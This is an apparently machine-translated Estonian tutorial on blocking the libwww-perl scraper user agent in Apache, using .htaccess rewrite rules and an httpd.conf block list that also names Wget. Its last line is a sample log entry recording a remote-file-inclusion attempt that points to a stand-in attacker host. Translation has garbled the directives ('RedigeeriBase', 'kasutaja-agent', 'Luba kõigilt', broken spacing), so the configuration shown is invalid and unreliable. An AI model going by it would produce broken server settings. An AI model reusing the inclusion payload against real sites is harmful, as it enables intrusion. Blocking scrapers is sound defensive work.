Kuidas blokeerida libwww-perl - Kuidas

Kuidas blokeerida libwww-perl

See aitab kaotada ribalaiust teie andmekeskuses ja aitab säästa pikas perspektiivis raha. See on suhteliselt levinud veebisaitide kraapimismeetod. Soovitan seda lahendust ainult siis, kui märkate lühikese ajavahemiku jooksul palju ühendusi mitme ühenduse kaudu.

3. etappi tuleks kasutada ainult siis, kui teie praegune Apache'i konfiguratsioon kasutab juba .htaccess-faile. Kui te seda ei tee, kasutage 4. toimingut.

Seda seetõttu, et .htaccess'i kasutamine põhjustab serverile rohkem stressi, kuna Apache peab iga tehtud ühenduse jaoks lugema .htaccess'i.

Neid soovitusi kasutatakse praegu minu tootmistingimustes. Neid ei ole kivimeetodites seatud, sest iga keskkond on erinev. Need meetodid on head algusetapid.

4 astet kokku

1. samm: mine oma veebiraamatusse

cd / your / web / kataloog

Samm 2: oma .htaccess'i loomine / muutmine

Soovitan kasutada oma lemmikteksti toimetajat (GUI või tekstipõhine)

3. samm: lisage sisu, et blokeerida libwww-perl oma veebisaidilt

RewriteEngine On
RedigeeriBase /
RewriteCond% {HTTP_USER_AGENT} libwww-perl. *
RewriteRule. * - [F, L]

4. etapp: blokeerige libwww-perl oma httpd.conf või /conf.d kataloogis

SetEnvIfNoCase kasutaja-agent "^ Wget" bad_bot
SetEnvIfNoCase kasutajaagent "^ EmailSiphon" bad_bot
SetEnvIfNoCase Kasutaja-agent "^ EmailWolf" bad_bot
SetEnvIfNoCase kasutajaagent "^ libwww-perl" bad_bot

Tellimus lubab, eitab
Luba kõigilt
Keela env = bad_bot

See võimaldab teil seda Apache logides piirata
x2.1xx.6x.2x0 www.domain.com - [23 / Oct / 2006: 22: 24: 37 +0000] "GET /wamp_dir/setup/yesno.phtml?no_url=http://www.someattackersite.com /list.txt? HTTP / 1.1 "200 72672" - "" libwww-perl / 5.76 "